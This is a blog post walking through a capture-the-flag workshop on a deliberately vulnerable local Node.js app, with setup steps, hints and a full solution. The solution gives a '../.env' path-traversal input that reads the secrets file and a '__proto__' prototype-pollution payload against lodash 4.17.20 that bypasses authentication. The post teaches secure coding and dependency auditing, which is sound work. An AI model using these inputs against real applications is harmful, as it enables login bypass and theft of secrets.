Capture the flag: A Node.js web app vulnerability practice (part 1)
Tags: vulnerabilities, workshop
Published: 2022-05-20 11:44:35

---
title: Capture the flag: A Node.js web app vulnerability practice (part 1)
published: true
date: 2022-05-20 00:00:00 UTC
tags: vulnerabilities,workshop
canonical_url: https://pitayan.com/posts/capture-web-app-vulnerabilities
---

Originally published on [Pitayan | Capture the flag: A Node.js web app vulnerability practice (part 1)](https://pitayan.com/posts/capture-web-app-vulnerabilities)

* * *
  

Last time our team had a small JavaScript workshop together (Check this article here: [8 Javascript quiz that may confuse you](https://dev.to/pitayan/what-do-these-consolelog-print-out-52i5)). And we’ve done it quite well. Everyone enjoyed solving those small problems.

Well, this time, my teammate has brought us a practice of finding the Node.js web application vulnerabilities.

It’s not a hard one. There’re **2** vulnerabilities in the web app. The way to “capture the flag” is to succeed in login. If you made it, text of `flag` will be displayed in the page.

![A successful login process](https://pitayan.com/ea45a374e8ce22cb999ff0df5cd24344/login.gif)

## [#](#get-started)Get Started

Follow the instructions and make sure that you’ve already got everything on track. Now, you’re only allowed to look at the repository files of

- README.md
- vuln1/index.js
- uploads/\*
- package\*.json

Remember not to cheat before you complete the quiz (The God is watching you). Here are some notices before starting it.

1. **Please don’t open `.env` file.**
2. **Please complete the quiz without changing the source code (However, debugging is allowed).**
3. **Please follow the above advices**

### [#](#0-prerequisites)0. Prerequisites

Make sure that you have Node 16+ install on your system (NPM v8 is required). A recommended way to install Node.js via [nvm](https://github.com/nvm-sh/nvm)

```
$ nvm install 16
...
$ nvm use 16
```

### [#](#1-clone-the-repo)1. Clone the repo

Here is the repository link: [https://github.com/daiyanze/vulnerability-code-challenge](https://github.com/daiyanze/vulnerability-code-challenge)

```
$ git clone git@github.com:daiyanze/vulnerability-code-challenge.git
$ cd crack-the-code-challenge & npm i
```

### [#](#2-start-the-server)2. Start the server

```
$ npm -w challenges/vuln1 run start

> vuln1@1.0.0 start
> node index.js

Started on http://localhost:81
```

### [#](#3-open-httplocalhost81)3. Open http://localhost:81

Then the following screen will pop out.

![Your everything about cracking the code starts from here](https://pitayan.com/static/5dadc2c6e85b838efc29cc378fd307d3/88aa2/admin_panel.png "Your everything about cracking the code starts from here")
_Your everything about cracking the code starts from here_

This admin page does 4 things:

1. Modify the JSON file’s name & content
2. Upload your JSON file
3. Print out the JSON file content
4. Login

Your mission now is to pass the login step, and let the page display `flag` text.

## [#](#hints)Hints

If you are still not sure how to do it, pry out the hints below 1 by 1. But please do remember to read the code in `index.js` file first. You’ll find many useful clues in it.

#Hint 1

> What about browsing other files on the server?

#Hint 2

> Take a good look at the messages from your terminal.

#Hint 3

> How about changing the content of the `parsed.json` file?

#Hint 4

> You know you could mutate `prototypes` and ` __proto__ `, don’t you?

#Hint 5

> Just go to answer section. It’ll tell you how.

## [#](#when-flag-is-captured)When flag is captured

Don’t read this section if you haven’t captured the flag. But I really hope you’ve already made it. Otherwise the following will just lead you to a detailed explanation before you could actually resolve the mystery by yourself.

### [#](#explanation)Explanation

In the first few paragraphs of this article, it’s mentioning that we have 2 vulnerabilities. And they are both threatening the login step.

The key points are

> Where do we get the password?
> 
> How do we cheat the authentication?

Once we have a clue of how to handle these things above, then the answer would be right above the surface.

It’s not very hard to associate the password with the mysterious `.env` file right? Since you’ve been told not to look at it, then curiosity may have driven you toward the “method” of opening that file as what’s written in the “Hint 1”.

So if you try to open the content of `.env` file via “Read uploaded JSON”, the password will appear. Oh, we got a password now. Then that should work? Certainly nope. It’s just a start.

Remember what’s written in the source code about authentication?

```
const user = {
  // just pretend this comes from a db
  password: "$2a$12$3cSdZFdEIG9FizllB9.5E.M8DTQQ185zyITtBTBz7Lz3Va8s0xjSy",
};

switch (user.auth_method ?? "bcrypt") {
  case "bcrypt":
    passed = bcrypt.compareSync(req.body.password, user.password);
    break;
  case "superadmin":
    passed = req.body.password === process.env.SUPER_ADMIN_PASS;
    break;
  default:
    throw new Error("invaid auth method");
}
```

The encrypted `password` is already there but you can’t decrypt it easily. So the breakthrough point is `user.auth_method`. You need to find a way to turn `user.auth_method` value into `"superadmin"`. But how?

Well, here’s one useful information from the terminal when you install the package. There’s one critical severity vulnerability in your package.

```
added 110 packages, and audited 111 packages in 8s

5 packages are looking for funding
  run `npm fund` for details

1 critical severity vulnerability

To address all issues, run:
  npm audit fix

Run `npm audit` for details.
```

When you tried to `npm audit fix`, the solution would come to your mind easily if you had experience with “prototype pollution”.

```
added 1 package, removed 1 package, and audited 120 packages in 2s

10 packages are looking for funding
  run `npm fund` for details

# npm audit report

lodash <=4.17.20
Severity: critical
Prototype Pollution in lodash - https://github.com/advisories/GHSA-jf85-cpcp-j695
Prototype Pollution in lodash - https://github.com/advisories/GHSA-fvqr-27wr-82fm
Command Injection in lodash - https://github.com/advisories/GHSA-35jh-r3h4-6jhm
Regular Expression Denial of Service (ReDoS) in lodash - https://github.com/advisories/GHSA-x5rq-j2xg-h7qm
Prototype Pollution in lodash - https://github.com/advisories/GHSA-p6mc-m468-83gw
fix available via `npm audit fix --force`
Will install lodash@4.17.21, which is outside the stated dependency range
node_modules/lodash

1 critical severity vulnerability

To address all issues, run:
  npm audit fix --force
```

Here is a very good article about “prototype pollution”.

[https://brightsec.com/blog/prototype-pollution/](https://brightsec.com/blog/prototype-pollution/)

In a simple word, “Prototype pollution” is “to extend / modify the global objects”.

```
Object. __proto__.auth_method = "superadmin"
Object.constructor.prototype.auth_method = "superadmin"
```

With the above trick, you could just add some extra seasonings to that JSON content. Now you are good to capture the flag.

```
{" __proto__":{"auth_method":"superadmin"}}
```

The vulnerability that helps you “overcome” the password authentication comes from `lodash <= 4.17.20`. Refer to this [page](https://github.com/advisories/GHSA-jf85-cpcp-j695) to get more details.

### [#](#answer)Answer

The solution takes only 3 steps.

1. Input the following to “Secure JSON formatter” `<textarea>` and click “Format & Upload” button.

```
{" __proto__":{"auth_method":"superadmin"}}
```

2. Input `../.env` to “Read uploaded JSON” and click “Read” button

3. Input what you get from step 2 to “Login” password

Then you’ll get a `flag` text in the page.

## [#](#summary)Summary

This practice itself isn’t a very hard one. But at least I think gave us some good warnings of taking care of our project’s securities.

The first important thing in making secure applications is to carry out “user-input validation & sanitization” all the time and never use those inputs directly.

> When shall we trust the end users? When there’s no input at all.

The second important thing is from our projects. Some of the developers don’t usually pay attention to the information from the `npm audit`. There’re so many reasons of “we don’t have to” (you know why :p). But when it comes to some security concerns, `npm audit` has already given us enough clues to follow up with. Thus, constantly check and update our dependencies will probably do us a favor in building a rather secured application.